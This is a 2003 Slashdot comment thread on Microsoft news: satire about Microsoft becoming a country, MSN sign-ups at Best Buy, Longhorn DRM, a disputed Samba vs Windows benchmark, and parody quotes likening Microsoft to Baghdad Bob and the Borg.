    Attorney General Brad Smith was quick to point out that, since so many of the laws passed into US statute have been heavily influenced by Microsoft, the transformation of the Legal department into the new Department of Justice would be relatively straightforward.

    Environmental groups were dismayed by the sale of the North Atlantic islands, which they say contain some of the last remaining habitats of the Paralouatta Varonai monkey. Microsoft Environment Minister Ken DiPietro insisted that "every effort" would be made to safeguard the wellbeing of the primates, although he sought to play down rumours that some might be offered jobs in the country's Department of Trustworthy Computing.

    Construction work has already begun on the smallest island of the complex, where a village of eleven mud huts has been erected. This will house the Departments of Software Testing, Quality Assurance and Customer Service. The remaining 95% of the landmass will house the Departments of Justice, the Treasury and the Department of Marketing and Tourism.

    The move has caused widespread concern among industry analysts, many of whom are predicting severe economic repercussions. A spokesperson said, "Many people [at] Microsoft are of the opinion that we have been carrying the whole US economy for some time now. Well, as of today, that's no longer our problem."

    It seems that the incorporation of an armed defence force does not figure in Microsoft's plan. Intelligence sources suspect that the country may be content with the strategic advantage they already have, by virtue of posessing a back door into the computer systems of almost every government in the world.

    When asked about the potential perception of Microsoft's actions as anti-American, Ballmer said, "[that] is preposterous. All of our subjects will be offered dual nationality, and may retain their US passport in addition to their new Microsoft Passports and other documentation." Examination of the EULA for Windows XP Service Pack 2 reveals an extra clause allowing Microsoft to "upgrade" users in other countries to Microsoft citizenship automatically.
  • by mitzman ( 523507 ) on Thursday May 08, 2003 @11:17AM (#5910902)
    I used to work for Best Buy. We were given the whole deal about getting out as many MSN disks as we could. The thing about that is, MSN kicks back a good amount of money for each free account that someone signs up for. Whether or not it's the 30 free days, 2 months, or 9months (or whatever). Heres what happens. Say a customer buys a computer at Best Buy, they automatically get 6 free months (if they pay with a credit card or major debit). If the customer doesn't sign on and activate that account, they never get billed. However, even if they sign on just once, even for just 30 seconds, they have to call and cancel the account.

    Now, if a customer signs up for the 30 day free trial, yes they have to give a creditcard number, but they have to call and cancel the account even if they don't sign on. I had that problem but I called MSN and got this resolved and my money refunded immediately.

    Now, the problem is that some bestbuy clerks don't bother to tell the customers this. I've had customers outright refuse the msn and i said that's fine and just don't go through with ringing it up. I always mentioned it to all the customers I talked to, and if they just didn't want it, I never scanned it. This class action probably won't work, but I hope this guy gets his money back.

    Anyway that's my piece!
    • by Anthony Boyd ( 242971 ) on Thursday May 08, 2003 @11:31AM (#5911032) Homepage
      This class action probably won't work

      Why? Because you told a story about how you didn't scam the customers? That doesn't change the fact that other employees did scam the customers. And it appears that they had pressure to do so. This lawsuit not only sounds like it will work, but it sounds like a slam-dunk. The activity at Best Buy appears to be wholly illegal, even if you didn't participate in it.

  • by Anonymous Coward on Thursday May 08, 2003 @11:23AM (#5910952)
    [Just to be clear, this is the Wired article talking aobut Longhorn]

    "This is scary stuff," said a developer who asked that his name be withheld. "I could see a lot of people sticking with their old computers, operating systems and media players to avoid all this permission crap. Any geek who does use Windows is going to stick with Windows 2000; most of them are already not thrilled with XP anyway."

    Mmm hmm...yea. The same thing was said about Internet Explorer 4.0 & Windows 98 (just substitute the words "web browser integration" in for "permission", and it should bring back memories). No one was going to upgrade because no one wanted their internet integrated into the operating system. But whoever was saying such a thing didn't think about this key issue:

    The average joe does not care, let alone know about integrating a web browser into an OS. It doesn't matter if the nerd police showed up on the opening day of Windows 98 to tell people how evil it was.

    Joe wants a new computer with all the new bells and whistles. If Longhorn says that "it will make the internet come alive with all sorts of new technologies...all you need is Longhorn", then so be it, Joe's going to get Longhorn, because the internet is "cool".
  • by EmagGeek ( 574360 ) on Thursday May 08, 2003 @11:24AM (#5910960) Journal
    I only skimmed the "benchmark" document, but I immediately saw a couple of fundamental flaws in their methods.

    First, they said they conducted each test twice to ensure the "repeatability" and "accuracy." First of all, running a test only twice in no way gives you enough data to claim accuracy. Second of all, "repeatability" is meaningless in terms of determining statistically significant results. The terms you want to claim are *reliability* and *validity*, not accuracy and repeatability.

    Simply averaging the results of two tests is idiotic in terms of sound scientific methods. That's the kind of testing I would expect from a grade school chemistry experiment, not an expensive "commissioned" test of a real-life installed system of this kind of complexity.

    The other thing they said, which directly contradicts what they said in the main highlights in the beginning of the report, is that "Our investigation showed that, with some minor tweaks, the default configuration values set for SAMBA generated the best overall performance in our configuration." I'm not sure if this means just their linux configuration, or if they tuned linux and discovered that it was faster and just published the slower non-tweaked numbers.

    Here are some interesting URLs that help to reveal the obvious conflict of interest here:

    http://www.etestinglabs.com/about/news/press/lio nb ridge_microsoft.asp

    http://www.etestinglabs.com/about/news/press/pr_ 02 -06-27.asp?visitor=X

    These two show how LionBridge, the parent company of VeriTest, has a long-standing and EXTREMELY lucrative contract with MicroSoft.

    http://boston.internet.com/news/article.php/1373 16 1

    http://boston.internet.com/news/article.php/1482 80 1

    Here's some more interesting info:

    Fidelity Management and Research Co. is Microsoft's top institutional shareholder, and is LionBridge's 6th largest institutional shareholder.

    Barclays Global Investors Int'l is #2 for Microsoft and #9 for LionBridge.

    Morgan Stanley Investment Mgmt is #13 for Microsoft and #3 for LionBridge.

    State Street is #3 for MicroSoft, #8 for LionBridge.

    So, the top 3 institutional shareholders of Microsoft own a very significant chunk of LionBridge, which shows lots of common interest between the two.

    I could probably go on, but this should be enough..
  • by jdclucidly ( 520630 ) on Thursday May 08, 2003 @11:35AM (#5911064) Homepage
    Is Microsoft working on supporting PNG in Internet Explorer? This is the single most significant feature that other browsers have over IE, from a web developer's viewpoint.
  • Translation (Score:5, Funny)

    by Exedore ( 223159 ) on Thursday May 08, 2003 @11:36AM (#5911074)

    Quote: "Any government department is quite at liberty to run only Windows 2000 server. There's nothing forcing them to upgrade to Server 2003," [Microsoft senior consultant Alex Balcanquall] said.

    Translation: We haven't quite figured out how to break compatibility yet... but we should have that ready for SP1.

  • by TCaptain ( 115352 ) <slashdot.20.tcap ... S.com minus city> on Thursday May 08, 2003 @11:37AM (#5911082)
    Steve Ballmer says DRM is an opportunity, not a prison

    Don't they also keep saying its not a bug its a feature???

  • by telstar ( 236404 ) on Thursday May 08, 2003 @11:39AM (#5911103)
    "So, today's one of those days when every bit of news is dominated by Microsoft."
    • Yeah, I think the forumla is:
    • if(dayname.endsWith("day"))
      trash("Microsoft");
      else fail;

  • by azcoffeehabit ( 533327 ) on Thursday May 08, 2003 @11:41AM (#5911122)
    "There are no hacker infidels in Hotmail. Never!"

    "My feelings - as usual - we will kill them all"

    "Our initial assessment is that they will all die"

    "I blame Slashdot - they are marketing for the Linux kernel!"

    "God will roast their stomachs in hell at the hands of Microsoft."

    "They're coming to surrender or be burned in their computerr rooms."

    "No I am not scared, and neither should you be!"

    "Be assured. Passport is safe, protected"

    "Who are in control, they are not in control of anything - they don't even control themselves!"

    "We are not afraid of the hackers. Allah has condemned them. They are stupid. They are stupid" (dramatic pause) "and they are condemned."

    "The hackers, they always depend on a method what I call ... stupid, silly. All I ask is check yourself. Do not in fact repeat their lies."

    "I can say, and I am responsible for what I am saying, that they have started to commit suicide under the walls of Hotmail. We will encourage them to commit suicide more quickly."

    "I can assure you that those villains will recognize, will discover in appropriate time in the future how stupid they are and how they are pretending things which have never taken place."

    "The authority of the Microsoft... issued a warning to the civilian population not to pick up any of those Linux Distrobutions because they are booby traps," he said, adding that Hackers were "immoral mercenaries" and "criminals" for such behavior.

    "I am not talking about the American people and the British people," he said. "I am talking about Hackers. ... They have started throwing those emails, but they are not emails, they are booby traps to kill the children."

    "We have them surrounded in their computer rooms"

    "Muhammad Faisal Rauf Danka is all about lies! All he tells is lies, lies and more lies!"

    "I have detailed information about the situation...which completely proves that what they allege are illusions . . . They lie every day."

    "Lying is forbidden in Microsoft. Microsoft lawyers will tolerate nothing but truthfulness as they are men of great honor and integrity. Everyone is encouraged to speak freely of the truths evidenced in their eyes and hearts."

    "Now even the Hacker command is under siege. We are hitting it from the north, east, south and west. We chase them here and they chase us there. But at the end we are the people who are laying siege to them. And it is not them who are besieging us."

    Muhammed Saeed al-Sahaf
    Microsoft Information Minister
  • by jetkust ( 596906 ) on Thursday May 08, 2003 @11:57AM (#5911241)
    Steve Ballmer says DRM is an opportunity, not a prison

    I think he meant to say that DRM is an opportunity to BE imprisoned.
  • by Tighe_L ( 642122 ) on Thursday May 08, 2003 @12:02PM (#5911277) Homepage

    Below are some actual Star Trek quotes by and about the borg, Just replace borg with M$, Locutus with Balmer, and Ship with PC -- and you have a pretty good description of M$.

    Why is it that so many things in Star Trek come true?

    • I am Locutus, of Borg. Resistance is futile. Your life as it has been, is over. From this time forward, you will service us.
    • We only wish to raise quality of life for all species.
    • We are the Borg. Lower your shields and surrender your ships. We will add your biological and technological distinctiveness to our own. Your culture will adapt to service us. Resistance is futile. We are the Borg.
    • Borg do not consider giving technology away, only assimilating it.
    • You can't outrun them. You can't destroy them. If you damage them, the essence of what they are remains... they regenerate and keep coming. Eventually, you'll weaken. Your reserves will be gone. They are relentless.
    • Brave words. I've heard them before, from thousands of species across thousands of worlds, since long before you were created, but now, they are all Borg.
    • Freedom is irrelevant. Self-determination is irrelevant.
    • Human. We used to be exactly like them. Flawed, weak, organic. But we evolved to include the synthetic. Now we use both to attain perfection.
    • I am the beginning, the end, the one who is many.
    • Negotiation is irrelevant. You will be assimilated.
    • Small words from a small being, trying to attack what it doesn't understand.
    • Strength is irrelevant. Resistance is futile.
    • The Borg do not evolve, they conquer.
    • The Federation's gone; the Borg is everywhere!"
    • You will be assimilated. Resistance is futile.

    I can only hope that we overcome the M$ levithan, like in ST

  • by gsfprez ( 27403 ) on Thursday May 08, 2003 @12:06PM (#5911298)
    "Rights management technologies alone cannot solve all digital piracy and confidentiality problems, but they are a crucial part of the many efforts Microsoft is making toward Trustworthy Computing. For the technology industry, rights management offers exciting new business prospects. Software and hardware developers can enhance their products and generate new revenues by offering rights management capabilities with their applications, devices and peripherals.

    We're excited about partnering with a wide range of content owners, authors and industry vendors on these crucial technologies, particularly as broadband continues to expand the opportunities for delivering digital media content worldwide, and as rights management is recognized by businesses large and small as an opportunity to protect copyrights, confidentiality and personal privacy while promoting innovation, creating opportunity and empowering customers."

    in English....

    "This.... is a shit sandwich. You are going to eat this. You can put mustard on it, you can even cut it in half and eat it in two pieces. But you are going to eat it."
  • by lkaos ( 187507 ) <{sw.yeknomedoc} {ta} {ynohtna}> on Thursday May 08, 2003 @04:09PM (#5913766) Homepage Journal
    The Samba team got a hold of this about a week ago. These benchmarks are a little off.

    For instance, they're comparing Win2k3 vs. Samba 2.2.7. We're rather close to the 3.0 release of Samba and the 2.2 base hasn't really been worked on in a long time.

    Moreover, RHAS is actually slightly older than RH8.0 (a lot older than RH9.0). That's why the one benchmark with all three systems showed RH8 beating RHAS. I believe that RHAS didn't ship the O(1) scheduler.

    I've also heard claims that the real reason behind the difference in throughput was the poor software raid used in the benchmark machines. Had a supported hardware RAID been used, things would have been pretty different.

    Not to mention the "tuning" done to the two systems. The socket buffers were tweaked and the file descriptors increased on the linux side while a bunch of strange registry options were set on the Windows side. There could have been a lot more tuning done on the linux side to improve performance.

    Of course, what would you expect from a study commissioned by Microsoft. What someone should do is let the Samba team set up a machine and some Microsoft folks set up another machine. Then we'll see who outperforms who.

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